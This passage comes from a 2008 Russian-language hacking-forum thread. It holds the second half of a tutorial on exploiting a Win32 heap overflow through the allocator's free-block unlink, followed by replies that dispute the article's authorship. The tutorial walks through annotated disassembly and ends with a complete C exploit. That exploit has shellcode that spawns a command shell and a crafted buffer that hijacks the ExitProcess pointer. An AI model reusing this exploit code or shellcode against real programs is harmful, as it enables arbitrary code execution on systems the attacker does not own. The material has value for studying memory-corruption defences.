но проверки и работа со структурой, на которую указывает pHead! Это и есть пре-
дмет для тщательного изучения, т.к. адрес на структуру заголовка блока мы конт-
ролируем.
И разумеется самые интересные строки далее для меня были:
.....
pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev;
.....
pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext;
.....
предлагаю изучить их повнимательней:
PHP код:
1062: pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev;
00401E1C 8B 45 FC mov eax,dword ptr [pHead]
00401E1F 8B 08 mov ecx,dword ptr [eax]
00401E21 8B 55 FC mov edx,dword ptr [pHead]
00401E24 8B 42 04 mov eax,dword ptr [edx+4]
00401E27 89 41 04 mov dword ptr [ecx+4],eax
Код HTML:
последняя инструкция вызывает опасения, т.к. ,контролируя ecx и eax, можно пе-
резаписать какой-нибудь адрес, хранящийся в [ecx+4] на значение(адрес), которое
хранится в eax. И что же вы думаете? Это действительно так! Мы контролируем eax
и ecx! :)) Т.е. адрес, на который указывает pHead - мы можем перезаписать..
00401E1C 8B 45 FC mov eax,dword ptr [pHead]
---------------------[запишет в eax адрес pHead (0х00430130, если помните) ]
00401E1F 8B 08 mov ecx,dword ptr [eax]
---------------------[в ecx запишется то, что находится по адресу]
---------------------[0x00430130, КОТОРЫЙ МЫ КОНТРОЛИРУЕМ]
00401E21 8B 55 FC mov edx,dword ptr [pHead]
---------------------[в edx запишется 0x00430130]
00401E24 8B 42 04 mov eax,dword ptr [edx+4]
---------------------[а в eax запишется то, что находится по адресу]
---------------------[0х00430134 , КОТОРЫЙ МЫ ТОЖЕ КОНТРОЛИРУЕМ]
00401E27 89 41 04 mov dword ptr [ecx+4],eax
---------------------[и в итоге запишем по адресу, который хранится]
---------------------[в ecx + смещение 4байта... адрес, который записан]
---------------------[в eax]
Вот где собака зарыта! :) Теперь достаточно вместо адреса структуры заголовка
блока написать адрес функции ExitProcess(), а в следующие 4 байта записать ад-
рес, где хранится шеллкод. Но не стоит торопиться...предлагаю рассмотреть сле-
дующую строку, которая осталась:
PHP код:
pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext;
1072: pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext;
00401E73 8B 45 FC mov eax,dword ptr [pHead]
00401E76 8B 48 04 mov ecx,dword ptr [eax+4]
00401E79 8B 55 FC mov edx,dword ptr [pHead]
00401E7C 8B 02 mov eax,dword ptr [edx]
00401E7E 89 01 mov dword ptr [ecx],eax
Как видно, тут мы тоже контролируем ecx & eax. НО! Следует уделить этому куску
должное внимание!
00401E73 8B 45 FC mov eax,dword ptr [pHead]
00401E76 8B 48 04 mov ecx,dword ptr [eax+4]
---------------------[в ecx будет значение адреса 0х00430134 (адрес шеллкода)]
00401E79 8B 55 FC mov edx,dword ptr [pHead]
00401E7C 8B 02 mov eax,dword ptr [edx]
---------------------[а здесь(в eax) будет значение адреса 0х00430130]
---------------------[(т.е. адрес ExitProcess())]
00401E7E 89 01 mov dword ptr [ecx],eax
---------------------[ну а тут, собственно первые 4 байта нашего]
---------------------[шеллкода перепишутся на 0х00430130]
Код HTML:
Что же делать в этом случае? :)) Не стоит отчаиваться и забывать, что при прыж-
ке на шеллкод эти байты: "\x30\x01\x43\x00" превратятся в инструкции, которые
будут выполняться! Теперь задача состоит в том, чтобы сделать так..чтоб эти ин-
струкции ничего не испортили. Как это можно сделать? Очень просто - добавить
дополнительные инструкции в начало, чтобы при интерференции картина не измени-
лась :)), т.е. добавить 8 буковок A, к примеру, как я и сделал! маленькие нюан-
сы: мы, когда добираемся до адреса структуры блока (0х00430130) сносим на своём
пути другие данные, которые используются функцией __sbh_free_block при непос-
редственном освобождении:
PHP код:
.....:-[disassembled]-:................
'
004300DA 00 00 ... CD CD ..............(...ээээННННННННННННН
004300FD CD CD ... 00 00 НННННННННННННННННээээ......Q...'...
00430120 88 49 ... CD CD .I2.Р.C.........d.......'...ээээННН
'
.....:-[end of disassembled]-:.........
Код HTML:
очень важно сконструировать замену этим байтам "91 00 00 00", которые являются
sizeFront'ом, иначе на этом участке программа выдаст ошибку т.к. sizeFront есть
ничто иное как 0х00000091 и если в нём нолики заменить на хотя бы те же 0х01,
то получится 0х01010191, что есть 16843153. И представьте какой адрес тогда при
своится указателю pNext при наличии вот такого громадного смещения! Чтобы избе-
жать этой трудности...достаточно записать вместо этих 4байт маленькую величину,
такую как 0хffffffff :). Вот и всё! Проблема решена!
PHP код:
Окончательный вариант получается таков (эксплоит):
/* Heap Overflow exploit example for Win32 */
#include <windows.h>
#include <stdio.h>
char shellcode[] =
"\x41\x41\x41\x41" "\x41\x41\x41\x41"
"\x33\xD2" "\x52" "\x68\x6C\x6C\x20\x20"
"\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63"
"\x54" "\xB9\xD8\x05\xE8\x77" "\xFF\xD1"
"\x52" "\x68\x20\x63\x6D\x64" "\x54"
"\xB9\x44\x80\xC1\x77" "\xFF\xD1" "\x52"
"\xB9\xDC\x7A\xC2\x77" "\xFF\xD1";
int main() {
char *a;
char *b;
a=(char *)malloc(100);
b=(char *)malloc(30);
printf("%p\n",shellcode);
char arg[]=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //malloc(30)
"\xfd\xfd\xfd\xfd"
"\x01\x01\x01\x01\x01\x01\x51\x01\x01\x01\xff\xff\xff\xff" //important data
"\x34\x51\x42\x00" //0x00425134+4 -- addr of ExitProcess()
"\x30\x2a\x42\x00" //0x00422a30 -- addr of shellcode
;
memcpy(b,&arg,sizeof(arg));
free(a);
ExitProcess(0);
}
Код HTML:
Ед. проблема, опять остающаяся в силе - это 0х00 в адресах, которые нужно испо-
льзовать! В случае с memcpy() нули не играют никакой роли, а вот, если исполь-
зовать strcpy, etc., то необходимо задуматься, что именно надо переписать, и
где именно расположить шеллкод! ;)
При написании использованы материалы статьи:
Crazy Einstein (aka xCrZx) crazy_einstein@yahoo.com 02.11.03 - прим. -=lebed=-
Последний раз редактировалось -=lebed=-; 30.04.2008 в 08:52..
|
|
|

29.04.2008, 14:53
|
|
Moderator - Level 7
Регистрация: 16.02.2008
Сообщений: 580
Провел на форуме: 1595333
Репутация:
291
|
|
довольно позновательно. спасибо +
|
|
|

29.04.2008, 18:01
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
ну вроде рецензия
Для начала хотелось бы привести ссылку на оригинал статьи написанной xCrZx аж в 2003 году
_http://lbyte.void.ru/txt/win32/win32-exploiting-techniques.txt
Она отличается от статьи ТС только разделом Intro и некоторыми незначительными изменениями которые Flame of Soul не привела видимо из скромности.
Я в свою очередь хотел бы уточнить у автора
1.Если это копипаст то зачем удалять копирайты и почему в тексте не присутствует ни одного упоминания автора(xCrZx)?
2.Если ТС не претендует на авторство то зачем изменять оригинал статьи в часности писать INTRO от первого лица?
Сравните:
Сообщение от Flame of Soul
Всем доброго времени суток. Win32 системы для данного исследования были
выбранны не случайно. Во первых я есче не достаточно хорошо знакома с Unix
подобными системами, а во вторых тем, что последнее время стало популярным
создание бот систем, состоящих из так называемых zombies, а учитывая тенд-
енцию того что 80% пользователей WWW являются users windows, то нахождение
уязвимых мест в данной os является восстребованным.
Сообщение от xCrZx
С недавних пор меня начали интересовать Win32 операционные системы по ряду
причин: а) за последнее время значительно вырос коэффициент уязвимых программ
б) об этом мало изложено информации в интернете (а кое о чем вовсе не изложено).
В данной статье я попытаюсь объяснить и показать наглядно широко известные
уязвимости в программных продуктах в среде Win32.
писать это:
Сообщение от Flame of Soul
На написание этой статьи меня толкнуло несколько Papers-ов некоторых лю-
дей, которым за их труды выражаю благодарности от себя лично
Этого текста нет у xCrZx и в связи с этим хотелось бы услышать ответ на вопрос если это мысли ТС то почему нет благодарностей xCrZx'у,и написано, что "на написание этой статьи",а не копирование, а если это текст xCrZx то почему его нет в оригинале статьи
Да и вообще зачем переписывать часть текста своими словами?Статья помоему и так не плохая
Допускаю так-же вариант,что Flame of Soul и xCrZx одно лицо, но тогда возникает вопрос:
xCrZx зачем ты сменил пол? 
|
|
|

29.04.2008, 20:32
|
|
Участник форума
Регистрация: 25.05.2007
Сообщений: 290
Провел на форуме: 1740746
Репутация:
435
|
|
Win32 exploiting. Buffer Overflow Attacks (часть 1)
это только первая часть
http://lbyte.void.ru/txt/win32/win32-exploiting-techniques.txt
ссори разные оригиналы
что Flame of Soul и xCrZx одно лицо
лица разные, данная часть является только теорией, практическая будет через недели 2
почему нет благодарностей xCrZx'у
справедливое замечание, в моем paperse этого нет, исправлю
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|